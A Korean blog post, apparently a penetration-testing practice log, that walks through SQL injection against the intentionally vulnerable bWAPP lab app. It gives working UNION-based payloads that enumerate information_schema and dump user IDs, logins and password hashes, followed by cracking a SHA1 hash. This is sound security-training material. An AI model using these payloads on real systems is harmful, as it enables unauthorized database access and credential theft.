SQL Injection
SQL 인젝션이란 인젝션 공격중에 SQL DB 사용중에 SQL쿼리를 오염시켜 데이터베이스와 상호 작용할 수 있는 공격 방법이다. 이 공격으로 DB에서 민감한 정보를 수집하거나 수정, 삭제 까지 가능할 수 있다.
SQL Injection (GET/Search)

search 를 누르면 DB에있는 영화 정보들이 나타난다.
아마 입력창에 원하는 영화를 입력하면
SELECT * 테이블명 WHERE 컬럼명 LIKE '%입력한내용%';
이런 구조로 작동 할 것이다 그러면 ' 혹은 "를 입력해보자


작은 따옴표를 입력했을때 SQL 문법오류가 나오는 것을 확인할 수 있다.
SELECT * 테이블명 WHERE 컬럼명 LIKE '%입력한내용%'; 형식에 대입해보면
SELECT * 테이블명 WHERE 컬럼명 LIKE '%' %'; 으로 나오는데
SELECT * 테이블명 WHERE 컬럼명 LIKE '%' %'; %' 이부분이 SQL DB 오류로 인식 되어 문법 오류가 발생하며
"를 입력했을경우
SELECT * 테이블명 WHERE 컬럼명 LIKE '% " % '; 문법적 오류가 나지않고 %"% 를 문자열로 취급하여
SQL DB에서 %"% 를 검색하는 것과 같은 효과를 받는다.
따라서 작은 따옴표를 입력해야 SQL 취약점이 생긴다는 소리다.

위에서 SELECT * 테이블명 WHERE 컬럼명 LIKE '%' %'; 빨간부분 때문에 오류가 났기 때문에 뒷부분을 주석처리하여 처리하면
SELECT * 테이블명 WHERE 컬럼명 LIKE '% ' or 1=1 # % '; << 무조건 참값이 나오므면서 오류가 없으므로 모든 내역이 출력

'union select 1# 을 입력하면 위와같이 컬럼수가 달라서 사용할 수 없다고 오류가 나타난다.
UNION 은 SQL 문법중에 하나로
두개의 SELECT 구문을 연속적으로 출력하는 문법인데 두 개의 컬럼이 같아야 올바르게 작동한다.
따라서 지금 웹에서 사용하고 있을거라고 예측한
SELECT * 테이블명 WHERE 컬럼명 LIKE '%입력한내용%'; 과
SELECT 1을 합치려고 하는데 컬럼의수가 다르다는 뜻이다. 때문에 컬럼의 수를 늘려보면

'union select 1,2,3,4,5,6,7# 를 입력 했을때 (컬럼의 수가 7일 때) 내가 쓴 문법이 제대로 작동되는 것을 볼 수 있다.
--> 웹에서 쓰는 DB의 컬럼의 수는 총 7개라는 뜻
빨간 부분이 웹에서 출력한 SELECT고 파란부분이 내가 입력한 SELECT 1,2,3,...7# 이다.
타이틀 열에 2번이 나오고 Relase열에 3번이고 Character 5 번이 나오고 Grnre열에 4가 나오는것을 보면
출력되는 열이(중요한 내용) 2,3,5,4 인걸 알 수 있다.
' union select all 1,@@version,database(),user(),@@datadir,6,7 #

이렇게 명령을 치면 출력값이 보이는 열에서 DB 버전이나 유저 네임등 여러 정보를 볼 수 있다
그리고 SQL DB에는 information_schema 라는 메타 DB 가 존재하는데 이는 DB내의 모든 테이블에 대한 정보를 모아놓은 DB이다.
따라서 ' union select 1,table_name,3,4,5,6,7 from information_schema.tables # 라고 입력하면
* information_schema.tables : 데이터베이스 내의 모든 테이블에 대한 정보를 얻을 수 있다

그림과 같이 웹의 SQL DB에 있는 모든 테이블들을 볼 수 있다.
user 테이블의 내용이 보고 싶으면
' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
(information_schema.columns 에서 테이블 아이디가 user일때 그 테이블의 컬럼네임들) 을 입력한다
* information_schema.columns : 데이터베이스 내의 모든 열에 대한 정보를 얻을 수 있다.

.
'union select 1,id,login,password,5,6,7 from users # 로
중요한 정보 같은 컬럼을 열어보면

이렇게 ID 비밀번호 등 DB내 모든 정보를 탈취 할 수 있다.
삭제도 가능할 것 같은데 실습을 위해 남겨두자.
++++++++
비밀번호가 7110eda4d09e062aa5e4a390b0a572ac0d2c0220 이런식으로 복잡한 숫자와 영어로 되어있는데 암호화 되어 있는 것 같다.
이 암호를 해제하기 위해서 칼리에 가서
hash-identifier 실행

암호화 된 값을 입력해주면

sha1 알고리즘으로 암호화 된것 같다. 똑같이 sha1으로 디코딩 해주자자(디코딩 사이트는 인터넷에 많음)

정답
SQL Injection (GET/Select)

선택 박스에서 영화를 선택하는 것에 따라 URL의 movie 값이 변하는 것을 확인
ex) iron man 선택 --> movie 2 / world War Z 선택 --> movie 10
위에 get에서는 입력받는 변수가 문자형(' 으로 갇히니까 ')이여서 '를 써서 취약점을 만들었지만 입력받는 변수가 정수형이면 '을 입력하지 않아도된다. --> or 1=1 으로 입력해야한다.
http://192.168.111.132/bWAPP/sqli_2.php?movie=1%20or%201=1&action=go입력하면

무조건 참 이므로 movie 값에 관계 없이 G.i 조가 검색이 된다.
위에 search 에서 했던 것처럼 입력하면 똑같이 출력될수 있다.
http://192.168.111.132/bWAPP/sqli_2.php?movie=1%20union%20select%20all%201,%20concat(id,login),password,email,secret,6,7%20from%20users%20limit%201,1#&action=go

++++++++++
or 1=1 이면 movie 값이 무엇이든 g.i 조만 출력 되었는데 limit 함수로 출력되는 것을 1번째 행만 출력 되게 하였을 수도 있다.
or 1=1 limit 2,1 # 를 입력해보면

내가 원하는 영화의 정보가 나오게 된다.
SQL Injection (AJAX/JSON/jQuery)
위의 sql과 취약점 부분은 같다
다만 AJAX는 비동기식 웹 페이지 업데이트 기술로 페이지를 새로고침 하지 않아도 데이터를 주고 받아
빠른 상호작용이 가능해서 입력하고 go 를 누르지 않아도 결과 값이 출력되는 방식이다.
JSON 은 비동기식 이런게 아니라 데이터를 교환 하는 형식
jQuery는 JavaScript 라이브러리로, 복잡한 JavaScript 코드를 간단하게 작성할 수 있게 도와줍니다. 특히, AJAX 요청을 더 간단하게 작성할 수 있게 해준다.
'모의해킹' 카테고리의 다른 글
| SQL injection - blind (Boolean-Based) (0) | 2025.02.12 |
|---|---|
| XSS - Stored (Blog) (0) | 2025.02.12 |
| PHP Code Injection (0) | 2025.01.23 |
| Server-Side Includes (SSI) Injection (0) | 2025.01.21 |
| OS Command Injection (0) | 2025.01.21 |